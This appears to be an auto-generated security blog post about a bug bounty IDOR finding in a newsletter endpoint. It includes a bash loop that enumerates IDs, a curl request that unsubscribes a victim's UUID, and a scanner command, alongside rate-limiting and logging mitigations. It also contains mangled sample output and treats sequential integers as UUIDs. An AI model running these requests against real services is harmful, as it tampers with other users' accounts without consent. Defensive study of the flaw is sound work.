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Jainam Soni recently discovered an Improper Access Control vulnerability in a YesWeHack program, earning a €50 bounty. By manipulating the UUID in a newsletter endpoint, he could subscribe/unsubscribe other users’ newsletters without authentication, violating user privacy and trust.
You Should Know:
1. Understanding UUID Manipulation
UUIDs (Universally Unique Identifiers) are often used to identify resources. If not properly secured, attackers can enumerate or guess UUIDs to access unauthorized data.
Example of UUID Enumeration in Bash:
for i in {1..1000}; do
curl -s "https://example.com/api/newsletter?uuid=$i" | grep "subscribed"
done
2. Testing Access Control Flaws
Use Burp Suite or curl to test endpoints for missing authentication:
Burp Suite Steps:
1. Intercept a legitimate request to `/api/newsletter?uuid=USER_UUID`.
2. Change the UUID to another user’s value.
- Forward the request and check if the action succeeds.
Manual Testing with cURL:
curl -X POST "https://example.com/api/newsletter?uuid=VICTIM_UUID" -H "Content-Type: application/json" --data '{"action":"unsubscribe"}'
3. Mitigation Techniques
- Implement proper session validation (JWT, OAuth).
- Use rate-limiting to prevent UUID brute-forcing.
- Apply role-based access control (RBAC).
Example Nginx Rate Limiting:
limit_req_zone $binary_remote_addr zone=uuid_limit:10m rate=5r/s;
location /api/newsletter {
limit_req zone=uuid_limit burst=10 nodelay;
proxy_pass http://backend;
}
4. Logging & Monitoring
Enable logging to detect suspicious UUID access attempts:
Linux Log Monitoring Command:
tail -f /var/log/nginx/access.log | grep "newsletter" | awk '{print $1, $7}'
5. Automating Security Tests
Use OWASP ZAP or Nuclei to scan for IDOR (Insecure Direct Object Reference) flaws:
nuclei -t ~/nuclei-templates/vulnerabilities/idor.yaml -u https://example.com
What Undercode Say:
Improper Access Control remains a critical web security risk. Always:
– Validate user permissions before processing requests.
– Use unpredictable identifiers (e.g., long random strings).
– Audit API endpoints for missing auth checks.
Expected Output:
[/bash]
[] Testing UUID: 1 – Unauthorized
[] Testing UUID: 2 – Unauthorized
[] Testing UUID: 3 – Subscribed Successfully (Vulnerable!)
[bash]
Prediction:
As APIs grow, access control flaws will increase, making automated security testing essential. Companies must adopt zero-trust models to prevent such exploits.
Relevant URL:
YesWeHack Bug Bounty Platform
References:
Reported By: Jainam Soni – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
